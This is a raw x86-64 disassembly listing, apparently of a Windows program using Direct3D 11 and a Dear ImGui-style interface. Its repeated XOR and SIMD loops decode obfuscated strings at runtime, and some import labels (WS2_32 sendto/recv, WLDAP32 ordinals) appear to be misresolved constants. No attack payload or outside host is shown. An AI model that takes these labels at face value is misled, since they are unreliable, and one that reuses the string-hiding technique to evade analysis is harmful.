xor word [rbp + 0x65c], 0x39
xor word [rbp + 0x65e], 0x3a
xor word [rbp + 0x660], 0x3b
xor word [rbp + 0x662], 0x3c
xor ax, 0x3d
mov word [rbp + 0x664], ax
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x11e0]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x140324500]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x140324510]
movups xmmword [rbp + 8], xmm1
movups xmm0, xmmword [0x140324520]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [0x140324530]
movups xmmword [rbp + 0x28], xmm1
mov eax, dword [0x140324540]
mov dword [rbp + 0x38], eax
movzx eax, word [0x140324544]
mov word [rbp + 0x3c], ax
mov r8d, r13d
cmp r15d, 2
jl 0x1400efd81
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x1400efc92
cmp r8d, 0x23
jge 0x1400efdc4
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x23
jl 0x1400efd90
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x1200]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1220]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e820]
call fcn.14008c120
lea rcx, [rbp + 0x1220]
call fcn.140065be0
lea rax, [rbp + 0x1240]
mov qword [rbp - 0x80], rax
movups xmm0, xmmword [str._MFBRUjqnrHS__3B]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x1403245b8]
movups xmmword [rbp + 8], xmm1
pextrw eax, xmm1, 7
test ax, ax
je 0x1400eff84
cmp r15d, 2
jl 0x1400eff49
movdqa xmm5, xmmword [0x1402d9220]
mov edx, r13d
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x10
jl 0x1400efe62
jmp 0x1400eff84
lea r9, [rbp - 8]
mov r8d, r13d
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x1400eff50
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x1240]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x140324560]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x140324570]
movups xmmword [rbp + 8], xmm1
movups xmm0, xmmword [0x140324580]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [0x140324590]
movups xmmword [rbp + 0x28], xmm1
mov eax, dword [0x1403245a0]
mov dword [rbp + 0x38], eax
movzx eax, word [0x1403245a4]
mov word [rbp + 0x3c], ax
mov r8d, r13d
cmp r15d, 2
jl 0x1400f00ff
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x1400f0010
cmp r8d, 0x23
jge 0x1400f0144
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x23
jl 0x1400f0110
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x1260]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1280]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e840]
call fcn.14008c120
lea rcx, [rbp + 0x1280]
call fcn.140065be0
lea rax, [rbp + 0x12a0]
mov qword [rbp - 0x80], rax
movups xmm0, xmmword [str.zPPXCQ_CRRZpJ_1D]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x140324638]
movups xmmword [rbp + 8], xmm1
mov eax, dword [0x140324648]
mov dword [rbp + 0x18], eax
mov r8d, r13d
cmp r15d, 2
jl 0x1400f02cf
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x1400f01e0
cmp r8d, 0x12
jge 0x1400f0314
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x12
jl 0x1400f02e0
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x12a0]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x1403245d0]
movups xmmword [rbp + 0x1db4], xmm0
movups xmm1, xmmword [0x1403245e0]
movups xmmword [rbp + 0x1dc4], xmm1
movups xmm0, xmmword [0x1403245f0]
movups xmmword [rbp + 0x1dd4], xmm0
movups xmm1, xmmword [0x140324600]
movups xmmword [rbp + 0x1de4], xmm1
movups xmm0, xmmword [0x140324610]
movups xmmword [rbp + 0x1df4], xmm0
mov eax, dword [0x140324620]
mov dword [rbp + 0x1e04], eax
mov r8d, r13d
cmp r15d, 2
jl 0x1400f049f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x1db4]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x1400f03b0
cmp r8d, 0x2a
jge 0x1400f04e4
movsxd rax, r8d
lea r9, [rbp + 0x1db4]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2a
jl 0x1400f04b0
lea rdx, [rbp + 0x1db4]
lea rcx, [rbp + 0x12c0]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x12e0]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e800]
call fcn.14008c120
lea rcx, [rbp + 0x12e0]
call fcn.140065be0
call fcn.1400a2230
call fcn.14008f410
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x37b8
mov r9d, 8
mov r8d, 0x434
lea rcx, str.1.89.2
call fcn.140034d80
xor ecx, ecx
call fcn.1400348b0
call fcn.1400384c0
mov rbx, rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
movss xmm14, dword [0x1402d3d88]
movaps xmm3, xmm14
mov r8d, 0x133e4
lea rdx, [0x14037d090]
mov rcx, qword [rax + 0x50]
call fcn.14004c950
mov qword [rbp + 0x640], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
movss xmm8, dword [0x1402d3c08]
movaps xmm3, xmm8
mov r8d, 0x133e4
lea rdx, [0x14037d090]
mov rcx, qword [rbx + 0x50]
call fcn.14004c950
mov r12, rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1402dae28]
mov r8d, 0x133e4
lea rdx, [0x14037d090]
mov rcx, qword [rbx + 0x50]
call fcn.14004c950
mov qword [rbp + 0xb0], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x140327c64]
mov r8d, 0x133e4
lea rdx, [0x14037d090]
mov rcx, qword [rbx + 0x50]
call fcn.14004c950
mov r14, rax
mov qword [rbp + 0xb8], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x140327c68]
mov r8d, 0x133e4
lea rdx, [0x14037d090]
mov rcx, qword [rbx + 0x50]
call fcn.14004c950
mov r13, rax
xor esi, esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
movss xmm3, dword [0x1402d3c14]
mov r8d, 0x133e4
lea rdx, [0x14037d090]
mov rcx, qword [rbx + 0x50]
call fcn.14004c950
mov qword [rbp + 0xc0], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm14
mov r8d, 0x15c48
lea rdx, [0x140390480]
mov rcx, qword [rbx + 0x50]
call fcn.14004c950
mov qword [rbp + 0xc8], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
movss xmm3, dword [0x1402dacc8]
mov r8d, 0x15c48
lea rdx, [0x140390480]
mov rcx, qword [rbx + 0x50]
call fcn.14004c950
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0x1e90]
call fcn.14004b5b0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1e90]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm8
mov r8d, 0x133e4
lea rdx, [0x14037d090]
mov rcx, qword [rbx + 0x50]
call fcn.14004c950
mov rdi, rax
mov qword [rbp + 0xd8], rax
mov dword [rbp + 0x1ed0], 0x41800000
mov byte [rbp + 0x1ed8], 1
lea rax, [0x14032464c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1e90]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1402d3c04]
mov r8d, 0x3934b
lea rdx, [0x1402dae70]
mov rcx, qword [rbx + 0x50]
call fcn.14004c630
xor ecx, ecx
call fcn.140058370
mov rcx, qword [0x1404b8d00]
call fcn.1400623b0
mov rdx, qword [0x1404b9020]
mov rcx, qword [0x1404b9018]
call fcn.140061370
call fcn.140038b90
mov dword [rax + 0x3c], 0x40a00000
mov dword [rax + 0x40], 0x40400000
mov dword [rax + 0x4c], 0x41700000
mov dword [rax + 0x50], 0x41700000
mov dword [rax + 0x44], 0x40c00000
mov qword [rax + 0x10], 0x40a00000
mov dword [rax + 0x38], esi
mov qword [rax + 8], rsi
mov dword [rax + 0x30], 0x41200000
movss xmm0, dword [0x1402d3b88]
call fcn.1400fe970
mov qword [rbp + 0x1bb0], 0xffffffffffffffff
mov qword [rbp + 0x1bb8], 0xffffffffffffffff
mov qword [rbp + 0x1bc0], 0xffffffffffffffff
mov qword [rbp + 0x1bc8], 0xffffffffffffffff
mov dword [rbp + 0x1bd0], 0xffffffff
mov qword [rbp + 0x1bd4], 0xfffffffffffffffd
mov dword [rbp + 0x1bdc], 0xffffffff
mov qword [rbp + 0x1be0], rsi
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x1bb0]
mov r8d, 0x62278
lea rdx, [0x14043c2c0]
mov rcx, qword [0x1404b9018]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x1bb0]
mov r8d, 0x92d0f
lea rdx, [0x1403a95b0]
mov rcx, qword [0x1404b9018]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x1bb0]
mov r8d, 0x34da
lea rdx, [0x1403a60d0]
mov rcx, qword [0x1404b9018]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
xor bl, bl
mov dword [rbp - 0x80], ebx
xorps xmm11, xmm11
movss xmm9, dword [0x1402d3d94]
movss xmm15, dword [0x1402d3bcc]
movss xmm10, dword [0x1402d3c38]
movss xmm12, dword [0x140327c74]
movss xmm13, dword [0x1402d3ba4]
mov esi, 1
movss xmm6, dword [0x140327c4c]
movss xmm7, dword [0x140327c80]
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x1b18]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x1400f099f
nop word [rax + rax]
lea rcx, [rbp + 0x1b18]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x1b18]
call qword [sym.imp.USER32.dll_DispatchMessageW]
movzx ebx, bl
cmp dword [rbp + 0x1b20], 0x12
cmove ebx, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x1b18]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x1400f0950
mov dword [rbp - 0x80], ebx
test bl, bl
jne 0x1400fe633
call fcn.1400615f0
call fcn.140062560
call fcn.14003f120
mov dword [rbp + 0xf8], 0x443e0000
mov dword [rbp + 0xfc], 0x44070000
xor edx, edx
lea rcx, [rbp + 0xf8]
call fcn.1400454a0
movsd xmm0, qword [0x140324658]
movsd qword [rbp + 0x6ec], xmm0
movzx eax, word [0x140324660]
mov word [rbp + 0x6f4], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400f0a3d
mov byte [rbp + 0x6ec], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x6ed], 0x34
xor byte [rbp + 0x6ee], 0x35
xor byte [rbp + 0x6ef], 0x36
xor byte [rbp + 0x6f0], 0x37
xor byte [rbp + 0x6f1], 0x38
xor byte [rbp + 0x6f2], 0x39
xor byte [rbp + 0x6f3], 0x3a
xor byte [rbp + 0x6f4], 0x3b
xor byte [rbp + 0x6f5], 0x3c
xor edx, edx
mov r8d, 0xab
lea rcx, [rbp + 0x6ec]
call fcn.14002f9c0
lea rdx, [0x1404b8d08]
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp + 0x100]
call fcn.140038df0
movss xmm0, dword [rax]
ucomiss xmm0, xmm11
jp 0x1400f0a96
jne 0x1400f0a96
lea rcx, [rbp + 0x108]
call fcn.140038df0
movss xmm0, dword [rax + 4]
ucomiss xmm0, xmm11
jp 0x1400f0a96
je 0x1400f0b10
lea rcx, [rbp + 0x110]
call fcn.140038df0
movd xmm0, dword [0x1404b8d0c]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
lea rcx, [rbp + 0x118]
call fcn.140038df0
movd xmm0, dword [0x1404b8d08]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 0x21c
mov r9d, 0x2f8
mov r8d, ebx
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_MoveWindow]
mov qword [rbp + 0x120], 0
xor edx, edx
lea rcx, [rbp + 0x120]
call fcn.1400457d0
call fcn.1400384c0
movss xmm0, dword [rax + 0x10]
mulss xmm0, dword [0x1402d3bfc]
movss dword [0x1404b8c4c], xmm0
call fcn.140038dc0
mov rsi, rax
lea rcx, [rbp + 0x128]
call fcn.140038df0
xor ebx, ebx
cmp dword [0x14049f064], 2
mov eax, 0xa0
cmove ebx, eax
lea rcx, [0x14037d070]
call fcn.140034770
movss xmm3, dword [rbp + 0x12c]
movaps xmm1, xmm3
addss xmm1, xmm7
movss xmm2, dword [rbp + 0x128]
movaps xmm0, xmm2
addss xmm0, dword [0x140327c84]
movss dword [rbp + 0x130], xmm0
movss dword [rbp + 0x134], xmm1
addss xmm3, xmm11
xor ecx, ecx
cmp dword [0x14049f064], 2
mov edx, 0x7d
cmove ecx, edx
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm0, xmm2
movss dword [rbp + 0x138], xmm0
movss dword [rbp + 0x13c], xmm3
mov dword [rsp + 0x28], ebx
movss xmm0, dword [0x1402d3be8]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x138]
mov rcx, rsi
call fcn.14004dfa0
cmp dword [0x14049f064], 1
ja 0x1400f10f3
mov dword [rbp + 0x140], 0x443e0000
mov dword [rbp + 0x144], 0x42700000
movsd xmm0, qword [0x140324668]
movsd qword [rbp + 0x6b2], xmm0
movzx eax, byte [0x140324670]
mov byte [rbp + 0x6b2], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x6b3], 0x34
xor byte [rbp + 0x6b4], 0x35
xor byte [rbp + 0x6b5], 0x36
xor byte [rbp + 0x6b6], 0x37
xor byte [rbp + 0x6b7], 0x38
xor byte [rbp + 0x6b8], 0x39
xor byte [rbp + 0x6b9], 0x3a
xor al, 0x3b
mov byte [rbp + 0x6ba], al
mov r9d, Ordinal_26
xor r8d, r8d
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x6b2]
call fcn.140032110
mov dword [rbp + 0x148], 0x43960000
mov dword [rbp + 0x14c], 0x40a00000
lea rcx, [rbp + 0x148]
call fcn.140044e30
mov rcx, r13
call fcn.140044c30
cmp dword [0x14049f064], 0
sete cl
movaps xmm1, xmmword [0x140327e90]
movaps xmm0, xmmword [0x1402d3cb0]
mov dword [rbp + 0x150], 0x42700000
mov dword [rbp + 0x154], 0x42200000
mov eax, dword [0x140324674]
mov dword [rbp + 0x62], eax
movzx eax, word [0x140324678]
mov word [rbp + 0x66], ax
mov byte [rbp + 0x62], Ordinal_79
xor byte [rbp + 0x63], 0x34
xor byte [rbp + 0x64], 0x35
xor byte [rbp + 0x65], 0x36
xor al, 0x37
mov byte [rbp + 0x66], al
xor byte [rbp + 0x67], 0x38
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x48], cl
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [0x14049f0b8]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f0b0]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f0a8]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f0a0]
xor r8d, r8d
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x62]
call fcn.140070ff0
test al, al
je 0x1400f0d78
mov dword [0x14049f064], 0
mov dword [0x14049f070], 0
mov dword [rbp + 0x158], 0x43be0000
mov dword [rbp + 0x15c], 0x40a00000
lea rcx, [rbp + 0x158]
call fcn.140044e30
mov rcx, r13
call fcn.140044c30
cmp dword [0x14049f064], 1
sete cl
movaps xmm2, xmmword [0x140327e90]
movaps xmm1, xmmword [0x1402d3cb0]
mov dword [rbp + 0x160], 0x42b40000
mov dword [rbp + 0x164], 0x42200000
movsd xmm0, qword [str.aQR_DLH_]
movsd qword [rbp + 0x6bb], xmm0
movzx eax, byte [0x140324688]
mov byte [rbp + 0x6bb], 0x52
xor byte [rbp + 0x6bc], 0x34
xor byte [rbp + 0x6bd], 0x35
xor byte [rbp + 0x6be], 0x36
xor byte [rbp + 0x6bf], 0x37
xor byte [rbp + 0x6c0], 0x38
xor byte [rbp + 0x6c1], 0x39
xor byte [rbp + 0x6c2], 0x3a
xor al, 0x3b
mov byte [rbp + 0x6c3], al
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmmword [rsp + 0x70], xmm1
mov byte [rsp + 0x48], cl
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [0x1404b9b48]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9b40]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9b38]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9b30]
xor r8d, r8d
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x6bb]
call fcn.140070ff0
test al, al
je 0x1400f0ea0
mov dword [0x14049f064], 1
mov dword [0x14049f070], 0
mov dword [rbp + 0x168], 0x41200000
mov dword [rbp + 0x16c], 0x41a00000
lea rcx, [rbp + 0x168]
call fcn.140044e30
xorps xmm0, xmm0
movups xmmword [rbp + 0xc60], xmm0
movaps xmm1, xmmword [0x1402d3cb0]
movups xmmword [rbp + 0x88c], xmm1
mov dword [rbp + 0x170], 0x3f800000
mov dword [rbp + 0x174], 0x3f800000
mov qword [rbp + 0x178], 0
mov dword [rbp + 0x180], 0x42d80000
mov dword [rbp + 0x184], 0x420acccd
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x88c]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x170]
lea r8, [rbp + 0x178]
lea rdx, [rbp + 0x180]
mov rcx, qword [rbp + 0xe0]
call fcn.1400672e0
mov dword [rbp + 0x188], 0x44250000
mov dword [rbp + 0x18c], 0x40a00000
lea rcx, [rbp + 0x188]
call fcn.140044e30
mov rbx, qword [rbp + 0xc0]
mov rcx, rbx
call fcn.140044c30
movaps xmm0, xmmword [0x140327e90]
movaps xmm1, xmmword [0x140327eb0]
mov dword [rbp + 0x190], 0x42200000
mov dword [rbp + 0x194], 0x42200000
movzx eax, word [0x14032468c]
mov word [rbp + 0x1dc18], ax
cmp byte [0x14032468d], 0
je 0x1400f0fba
